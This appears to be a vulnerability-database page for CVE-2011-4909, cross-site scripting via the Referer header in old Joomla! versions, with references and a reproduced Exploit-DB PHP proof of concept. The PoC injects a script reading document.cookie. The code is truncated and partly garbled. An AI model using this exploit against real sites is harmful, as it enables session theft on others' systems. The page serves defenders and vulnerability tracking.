CVE-2011-4909
Description
Multiple cross-site scripting (XSS) vulnerabilities in Joomla! before 1.5.12 allow remote attackers to inject arbitrary web script or HTML via the HTTP_REFERER header to (1) components/com_content/views/article/tmpl/form.php, (2) components/com_user/controller.php, (3) plugins/system/legacy/html.php, or (4) templates/beez/html/com_content/article/form.php.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Joomla! 1.5.x - Cross-Site Scripting / Information Disclosure
source: https://www.securityfocus.com/bid/35544/info
Joomla! is prone to multiple cross-site scripting and information-disclosure vulnerabilities.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and obtain sensitive information.
These issues affect versions prior to 1.5.12.
/* PoC: XSS Joomla 1.5.11 Juan Galiana Lara Internet Security Auditors Jun 2009 */ /* config */ $site='localhost'; $path='/joomla-1.5.11'; $cookname='d85558a8cf943386aaa374896bfd3d99'; $cookvalue='4ab56fdd83bcad86289726aead602699'; class cURL { var $headers; var $user_agent; var $compression; var $cookie_file; var $proxy; /* evil script */ var $xss='alert("PWN PWN PWN: " + document.cookie);'; function cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') { $this->headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'; $this->headers[] = 'Connection: Keep-Alive'; $this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8'; $this->headers[] = 'Referer: ">get('http://' . $site . $path . '/index.php?option=com_content&view=article&layout=form'); /* let's execute some javascript.. }:-)*/ echo $c; ?> Application impact
References
- http://archives.neohapsis.com/archives/bugtraq/2009-07/0012.html
- http://developer.joomla.org/security/news/298-20090604-core-frontend-xss-httpreferer-not-properly-filtered.html
- http://secunia.com/advisories/35668
- http://www.openwall.com/lists/oss-security/2011/12/25/3
- http://www.openwall.com/lists/oss-security/2011/12/25/8
- http://www.osvdb.org/55589
- http://www.securityfocus.com/bid/35544
- http://archives.neohapsis.com/archives/bugtraq/2009-07/0012.html
- http://developer.joomla.org/security/news/298-20090604-core-frontend-xss-httpreferer-not-properly-filtered.html
- http://secunia.com/advisories/35668
- http://www.openwall.com/lists/oss-security/2011/12/25/3
- http://www.openwall.com/lists/oss-security/2011/12/25/8
- http://www.osvdb.org/55589
- http://www.securityfocus.com/bid/35544
CWEs
CWE-79
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.